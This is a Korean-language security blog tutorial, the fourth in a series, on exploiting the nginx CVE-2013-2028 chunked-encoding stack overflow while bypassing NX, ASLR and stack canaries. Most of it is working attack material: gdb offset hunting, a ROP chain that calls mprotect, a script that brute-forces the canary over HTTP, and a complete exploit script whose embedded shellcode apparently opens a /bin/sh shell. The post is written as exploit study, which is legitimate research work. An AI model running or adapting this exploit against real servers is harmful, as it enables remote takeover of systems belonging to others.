#dokydoky

[CVE-2013-2028] Nginx stack-based buffer overflow(4) - NX, ASLR, Canary 본문

System Hacking

[CVE-2013-2028] Nginx stack-based buffer overflow(4) - NX, ASLR, Canary

dokydoky 2016. 12. 27. 01:45

0x01. Intro

안녕하세요. dokydoky 입니다.

이전 포스팅에서는 NX+ASLR 환경에서 익스플로잇을 해봤습니다.
이번 포스팅에서는 Stack Canaray를 추가하여 익스플로잇 해보겠습니다.

이번엔 nginx2 바이너리로 진행합니다. nginx1은 Stack Canary가 적용되어 있지 않고, nginx2는 적용되어 있습니다.
Stack Canary란 RET, SFP(Stack Frame pointer)가 변조되는 것을 감지하기 위해, SFP앞에 stack cookie를 저장해놓는 기법입니다.
컴파일 옵션은 이곳을 참조하시기 바랍니다.

이하 존칭어를 생략합니다.


0x02. Exploit


checksec으로 확인해보면 nginx2에 Stack Canary가 추가적으로 적용된 것을 확인 할 수 있다.
우선, 바이너리가 달라졌으므로 먼저 offset과 ROP gadget을 다시 구하자.

Offset 확인
ngx_http_read_discarded_request_body 함수를 디스어셈블 해보면 전과 다르게 Stack Cookie를 저장(
mov %fs:0x28,%rax), 확인(xor %fs:0x28,%rsi)하는
코드가 추가되었다. 아래와 같이 Stack CookieRET 주소의 offset을 모두 구해보자.

vagrant@nginx:/vagrant/bin$ sudo gdb /vagrant/bin/nginx2
...
(gdb) set follow-fork-mode child
(gdb) disas ngx_http_read_discarded_request_body
Dump of assembler code for function ngx_http_read_discarded_request_body:
   0x00000000004318d0 <+0>:	push   %r12
   0x00000000004318d2 <+2>:	push   %rbp
   0x00000000004318d3 <+3>:	push   %rbx
   0x00000000004318d4 <+4>:	sub    $0x1060,%rsp
   0x00000000004318db <+11>:	mov    %rdi,%rbx
   0x00000000004318de <+14>:	mov    %fs:0x28,%rax  // rax = Stack Cookie 
   0x00000000004318e7 <+23>:	mov    %rax,0x1058(%rsp)
...
   0x00000000004319a9 <+217>:	xor    %fs:0x28,%rsi  // rsi = Stack Cookie
   0x00000000004319b2 <+226>:	je     0x4319b9 <ngx_http_read_discarded_request_body+233>
   0x00000000004319b4 <+228>:	callq  0x4023a0 <__stack_chk_fail@plt>
   0x00000000004319b9 <+233>:	add    $0x1060,%rsp
   0x00000000004319c0 <+240>:	pop    %rbx
   0x00000000004319c1 <+241>:	pop    %rbp
   0x00000000004319c2 <+242>:	pop    %r12
   0x00000000004319c4 <+244>:	retq   

(gdb) b *0x00000000004319a9
Breakpoint 1 at 0x4319a9: file src/http/ngx_http_request_body.c, line 676.
(gdb) r
Starting program: /vagrant/bin/nginx2 
...
Breakpoint 1, 0x00000000004319a9 in ngx_http_read_discarded_request_body (r=0x6a3bb0)
    at src/http/ngx_http_request_body.c:676
676   src/http/ngx_http_request_body.c: No such file or directory.
(gdb) x/i $rip
=> 0x4319a9 <ngx_http_read_discarded_request_body+217>:  xor    %fs:0x28,%rsi
(gdb) info reg rsi
rsi            0x6d47326d47316d47   7874317918407847239

(gdb) ni
[tcsetpgrp failed in terminal_inferior: No such process]
0x00000000004319b2   676   in src/http/ngx_http_request_body.c
(gdb) info reg $ps
ps             0x206 [ PF IF ]
(gdb) set $ps=$ps|0x40    // Set Zero Flag(ZF)
(gdb) info reg $ps
ps             0x246 [ PF ZF IF ]
(gdb) b *0x00000000004319c4
Breakpoint 2 at 0x4319c4: file src/http/ngx_http_request_body.c, line 676.
(gdb) c
Continuing.

Breakpoint 2, 0x00000000004319c4 in ngx_http_read_discarded_request_body (r=<optimized out>)
    at src/http/ngx_http_request_body.c:676
676   in src/http/ngx_http_request_body.c
(gdb) x/i $rip
=> 0x4319c4 <ngx_http_read_discarded_request_body+244>:  retq   
(gdb) x/gx $rsp
0x7fffffffdd38:   0x47336e47326e4731

Stack Cookie에는 0x6d47326d47316d47, RET 주소에는 0x47336e47326e4731 값이 있다.
해당 값으로 offset을 확인해보자.

$ ipython
...
In [13]: "6d47326d47316d47".decode('hex')[::-1]
Out[13]: 'Gm1Gm2Gm'

In [14]: "47336e47326e4731".decode('hex')[::-1]
Out[14]: '1Gn2Gn3G'

$ python pattern.py "Gm1Gm2Gm"
Pattern Gm1Gm2Gm first occurrence at position 5043 in pattern.

$ python pattern.py "1Gn2Gn3G"
Pattern 1Gn2Gn3G first occurrence at position 5075 in pattern.

| ...... | 5043 bytes | Stack Cookie(8 bytes) | 24 bytes | RET | ...... | 의 구조를 갖고 있음을 알 수 있다.

ROP Gadget
가젯은 이전 포스팅과 동일한 기능을 하는 가젯을 nginx2에서 다시 구성하였다.

mmap64 = 0x4026d0
mmapgot = 0x679288
mmapaddr = 0x410000
noUse = 0xFFFFFFFFFFFFFFFF

# System call table of 'sys_mprotect' 
#   %rdi = unsigned long start = mmapaddr
#   %rsi = size_t len = 0x1000
#   %rdx = unsigned long prot = 7

chain = [
    0x004136a6,			# pop rax ; add rsp, 0x08 ; ret 
    0x60,			# an offset between mmap64, mprotect
    noUse,
    0x0044b277,			# pop rdi ; ret
    mmapgot,			
    0x0045bb54,			# add byte [rdi], al ; mov eax, 0x00000000 ; ret  
    
    0x004136a6,			# pop rax ; add rsp, 0x08 ; ret 
    mmapgot,			# For next Instruction "xor byte [rax-0x77], cl"
    noUse,
    0x0041aebe,			# pop rdx ; xor byte [rax-0x77], cl ; ret 
    0x7,
    0x00442f87,			# pop rsi ; ret  
    0x1000,
    0x0044e6a8,			# pop rdi ; ret 
    mmapaddr,
    mmap64
]
ropchain = ''.join(struct.pack('<Q', _) for _ in chain)

for i in range(0,len(shellcode),8):
    code = shellcode[i:i+8]
    chain = [
        0x004136a6,			# pop rax ; add rsp, 0x08 ; ret 
	mmapaddr+i,			# dst
        noUse,
        0x00442f87,			# pop rsi ; ret  
	struct.unpack('<Q', code)[0],	# src : shellcode chunk(8byte)
	0x00428eeb			# mov qword [rax], rsi ; mov eax, 0x00000000 ; ret
    ]
    ropchain += ''.join(struct.pack('<Q', _) for _ in chain)

ropchain += struct.pack('<Q', mmapaddr)		# return to mmapaddr


Stack Canary

Canary를 우회하기 위해서는 1byte씩 brute force 하는 방식을 사용할 것이다.

nginx는 위와 같이 master, worker process가 존재하며, 실제 HTTP 요청은 worker에서 처리한다.
worker process는 아래 코드와 같이 master process에서 fork로 생성되므로,
master process가 종료되지 않는 한, worker process들은 Stack Cookie값이 동일하다.

ngx_pid_t
ngx_spawn_process(ngx_cycle_t *cycle, ngx_spawn_proc_pt proc, void *data,
    char *name, ngx_int_t respawn)
{
...
    pid = fork(); // fork

    switch (pid) {

    case -1:
        ngx_log_error(NGX_LOG_ALERT, cycle->log, ngx_errno,
                      "fork() failed while spawning \"%s\"", name);
        ngx_close_channel(ngx_processes[s].channel, cycle->log);
        return NGX_INVALID_PID;

    case 0:
        ngx_pid = ngx_getpid();
        proc(cycle, data);
        break;

    default:
        break;
    }
...
}

또한, Stack Cookie가 변조되면 ngx_http_read_discarded_request_body 내에서 __stack_chk_fail가 실행되어 프로세스가 종료되고 응답이 오지 않는 반면,
Stack Cookie값이 올바르면 HTTP Response를 받을 수 있다. 따라서 1바이트씩 brute force 하면서 Stack Cookie값을 알아 낼 수 있다.

8바이트의 Stack Cookie를 brute force 하는 코드는 아래와 같다.

ChunkSize = '8000000000000000'
dataBeforeCookie = "A"*5043

payload = '''GET / HTTP/1.1\r
Host: 127.0.0.1:8080\r
Transfer-Encoding: chunked\r\n\r
{} {}'''.format(ChunkSize, dataBeforeCookie)

HOST = '127.0.0.1'
PORT = 8080

def isCrash(l):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST,PORT))
    c = ''.join(struct.pack('B', _) for _ in l)
    #print "c is", "".join(['\\x{:02X}'.format(i) for i in cookie+[j]])
    s.sendall(payload+c)
    tmp = s.recv(500).strip()
    s.close()

    return (len(tmp) is 0)

def checkOneByte(cookie, j):
    l = cookie+[j]
    if not isCrash(l) and not isCrash(l) and not isCrash(l) and \
        not isCrash(l) and not isCrash(l):
        return True

    return False


if __name__ == "__main__":
    cookie = list()
    for i in range(0, 8): 
        for j in range(0, 256):
            if checkOneByte(cookie, j):
                print "The {:d} byte is \\x{:02X}".format(i, j)
                cookie.append(j)
                break

    print "stack cookie is", "".join(['\\x{:02X}'.format(i) for i in cookie])

checkOneByte 함수에서 크래쉬가 나지 않을 경우(응답이 오는 경우)에 동일하게 5번 확인하는데, 이는 잘못된 cookie 값을 전송해도 응답이 올 경우가 있기 때문이다.


0x03. Full Exploit code
nginx1_nx_aslr_canary_exploit.py

# -*- coding: utf-8 -*-

###########################################################################################
# CVE-2013-2028
# Environment : NX, ASLR, Canary
# Coded by dokydoky
# I used the ROP Gagdet of https://github.com/danghvu/nginx-1.4.0/blob/master/exp-nginx.rb
# I also refered to following article to bypass the Canary (Thanks!)
# http://www.vnsecurity.net/research/2013/05/21/analysis-of-nginx-cve-2013-2028.html
###########################################################################################

import socket
import struct
import sys
import time
from pwn import *

shellcode = (
    '\x6A\x29\x58\x6A\x02\x5F\x6A\x01\x5E\x99\x0F\x05\x52\xBA\x01\x01' +
    '\x01\x01\x81\xF2\x03\x01\x31\x38\x52\x6A\x10\x5A\x48\x89\xC5\x48' +
    '\x89\xC7\x6A\x31\x58\x48\x89\xE6\x0F\x05\x6A\x32\x58\x48\x89\xEF' +
    '\x6A\x01\x5E\x0F\x05\x6A\x2B\x58\x48\x89\xEF\x31\xF6\x99\x0F\x05' +
    '\x48\x89\xC5\x6A\x03\x5E\x48\xFF\xCE\x78\x0B\x56\x6A\x21\x58\x48' +
    '\x89\xEF\x0F\x05\xEB\xEF\x68\x72\x69\x01\x01\x81\x34\x24\x01\x01' +
    '\x01\x01\x31\xD2\x52\x6A\x08\x5A\x48\x01\xE2\x52\x48\x89\xE2\x6A' +
    '\x68\x48\xB8\x2F\x62\x69\x6E\x2F\x2F\x2F\x73\x50\x6A\x3B\x58\x48' +
    '\x89\xE7\x48\x89\xD6\x99\x0F\x05'
)

mmap64 = 0x4026d0
mmapgot = 0x679288
mmapaddr = 0x410000
noUse = 0xFFFFFFFFFFFFFFFF

# System call table of 'sys_mprotect' 
#   %rdi = unsigned long start = mmapaddr
#   %rsi = size_t len = 0x1000
#   %rdx = unsigned long prot = 7

chain = [
    0x004136a6,			# pop rax ; add rsp, 0x08 ; ret 
    0x60,			# an offset between mmap64, mprotect
    noUse,
    0x0044b277,			# pop rdi ; ret
    mmapgot,			
    0x0045bb54,			# add byte [rdi], al ; mov eax, 0x00000000 ; ret  
    
    0x004136a6,			# pop rax ; add rsp, 0x08 ; ret 
    mmapgot,			# For next Instruction "xor byte [rax-0x77], cl"
    noUse,
    0x0041aebe,			# pop rdx ; xor byte [rax-0x77], cl ; ret 
    0x7,
    0x00442f87,			# pop rsi ; ret  
    0x1000,
    0x0044e6a8,			# pop rdi ; ret 
    mmapaddr,
    mmap64
]
ropchain = ''.join(struct.pack('<Q', _) for _ in chain)

for i in range(0,len(shellcode),8):
    code = shellcode[i:i+8]
    chain = [
        0x004136a6,			# pop rax ; add rsp, 0x08 ; ret 
	mmapaddr+i,			# dst
        noUse,
        0x00442f87,			# pop rsi ; ret  
	struct.unpack('<Q', code)[0],	# src : shellcode chunk(8byte)
	0x00428eeb			# mov qword [rax], rsi ; mov eax, 0x00000000 ; ret
    ]
    ropchain += ''.join(struct.pack('<Q', _) for _ in chain)

ropchain += struct.pack('<Q', mmapaddr)		# return to mmapaddr

ChunkSize = '8000000000000000'
dataBeforeCookie = "A"*5043

payload = '''GET / HTTP/1.1\r
Host: 127.0.0.1:8080\r
Transfer-Encoding: chunked\r\n\r
{} {}'''.format(ChunkSize, dataBeforeCookie)

HOST = '127.0.0.1'
PORT = 8080

def isCrash(l):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST,PORT))
    c = ''.join(struct.pack('B', _) for _ in l)
    s.sendall(payload+c)
    tmp = s.recv(500).strip()
    s.close()

    return (len(tmp) is 0)

def checkOneByte(cookie, j):
    l = cookie+[j]
    if not isCrash(l) and not isCrash(l) and not isCrash(l) and \
        not isCrash(l) and not isCrash(l):
        return True

    return False


if __name__ == "__main__":
    if len(sys.argv) == 2:
	cookie = sys.argv[1].decode('hex')

        payload += cookie 
        payload += "A"*24
        payload += ropchain
    
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((HOST,PORT))
        s.sendall(payload)

    else:
        cookie = list()
        for i in range(0, 8): 
            for j in range(0, 256):
                if checkOneByte(cookie, j):
                    print "============================================"
                    print "The {:d} byte is \\x{:02X}".format(i, j)
                    cookie.append(j)
                    break
	        if j is 255:
                    print "Brute Force Failed!! Try again"
                    sys.exit(1)
    
        print "stack cookie is", "".join(['{:02X}'.format(i) for i in cookie])


Result


1~4편에 걸쳐 취약한 code 부터 NX, ASLR, Canary 우회방법까지 하나씩 알아봤습니다.

틀린 부분이 있으면 코멘트로 지적 부탁드립니다.

읽어주셔서 감사합니다.(__)


0x04. Reference

http://www.vnsecurity.net/research/2013/05/21/analysis-of-nginx-cve-2013-2028.html

https://github.com/danghvu/nginx-1.4.0/blob/master/exp-nginx.rb

https://github.com/kitctf/nginxpwn

Comments